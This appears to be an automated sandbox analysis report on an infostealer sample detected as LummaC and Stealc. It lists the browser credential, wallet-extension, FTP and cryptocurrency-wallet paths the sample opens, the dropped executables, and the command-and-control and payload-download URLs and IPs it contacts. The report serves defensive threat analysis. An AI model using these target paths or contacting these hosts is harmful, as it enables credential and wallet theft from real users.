Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Directory queried: C:\Users\user\Documents\QVTVNIBKSD	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2209237506.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2209543082.0000000000EAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mDuCbT8LnH.exe PID: 6204, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: mDuCbT8LnH.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2462262257.0000000000011000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V4H7WRUUSV81II1QF.exe PID: 3836, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002BEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		7_2_002BEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002BDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		7_2_002BDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	961 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	451 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	451 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
mDuCbT8LnH.exe	61%	ReversingLabs	Win32.Exploit.LummaC
mDuCbT8LnH.exe	100%	Avira	TR/Crypt.XPACK.Gen
mDuCbT8LnH.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	57%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\V4H7WRUUSV81II1QF.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	57%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.16/d	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php4	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfH4	100%	Avira URL Cloud	malware
https://mindhandru.buzz/opp	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php3L	100%	Avira URL Cloud	malware
https://mindhandru.buzz/:	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php#_	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeO	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpncodedc	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeL	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exeV	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/apid	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpindows	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apis	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedx	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpGXD	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s	100%	Avira URL Cloud	malware
https://mindhandru.buzz/p	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apil	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/F#	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe(	0%	Avira URL Cloud	safe
https://mindhandru.buzz/D	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	104.21.11.101	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
scentniej.buzz	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://mindhandru.buzz/opp	mDuCbT8LnH.exe, 00000000.00000003.2230769434.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/:	mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/d	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php#_	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exe	mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/mine/random.exeO	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php4	skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php8	skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpfH4	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php3L	skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncodedc	skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeL	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeV	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16:80/steam/random.exe	mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpindows	skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpGXD	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/s	mDuCbT8LnH.exe, 00000000.00000003.2210193287.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209617377.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/apid	mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/	mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2159502377.000000000564B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedx	skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apil	mDuCbT8LnH.exe, 00000000.00000003.2207649242.0000000005649000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230806042.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2388888878.0000000005649000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389887617.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2248138925.0000000005650000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2207689578.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2247801054.0000000005650000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/p	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2390048981.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/apis	mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/F#	V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exed	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389361856.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230821865.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389476047.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe(	mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	false		high
